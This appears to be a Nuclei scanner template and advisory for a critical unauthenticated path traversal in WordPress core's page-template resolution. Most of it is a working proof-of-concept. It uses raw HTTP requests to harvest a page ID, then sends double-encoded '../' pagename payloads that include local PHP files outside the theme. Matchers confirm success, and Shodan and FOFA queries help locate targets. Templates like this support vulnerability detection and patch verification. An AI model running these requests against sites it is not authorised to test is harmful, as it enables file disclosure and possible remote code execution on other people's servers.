An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
PoC
id: CVE-2026-87902
info:
name: WordPress Core - PHP Template Path Traversal
author: Hadrian,FLX
severity: critical
description: |
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
impact: |
An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
remediation: |
Update WordPress to a patched maintenance release for the installed branch.
reference:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
- https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-87902
epss-score: 0.18166
epss-percentile: 0.97111
cwe-id: CWE-98
metadata:
verified: true
max-request: 6
vendor: wordpress
product: wordpress
framework: wordpress
shodan-query: http.component:"WordPress"
fofa-query: app="WordPress"
tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: false
stop-at-first-match: true
matchers:
- type: dsl
internal: true
dsl:
- 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: page_id
part: body
internal: true
group: 1
regex:
- '"id"\s*:\s*([0-9]+)'
- '(?:page_id=|page-id-|page-item-)([0-9]+)'
- raw:
- |
POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
- |
POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
stop-at-first-match: true
redirects: false
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
- 'status_code == 200'
condition: and
# digest: 490a004630440220062b93a4af1c7c64f01d0c648b6743dd489a0a0a8e7e1c834b0e626e24d349d90220288ea4ef4ed0e9e9d80c8dd1f546124f3646d4b63712e4795722f0fb20ec5d9e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.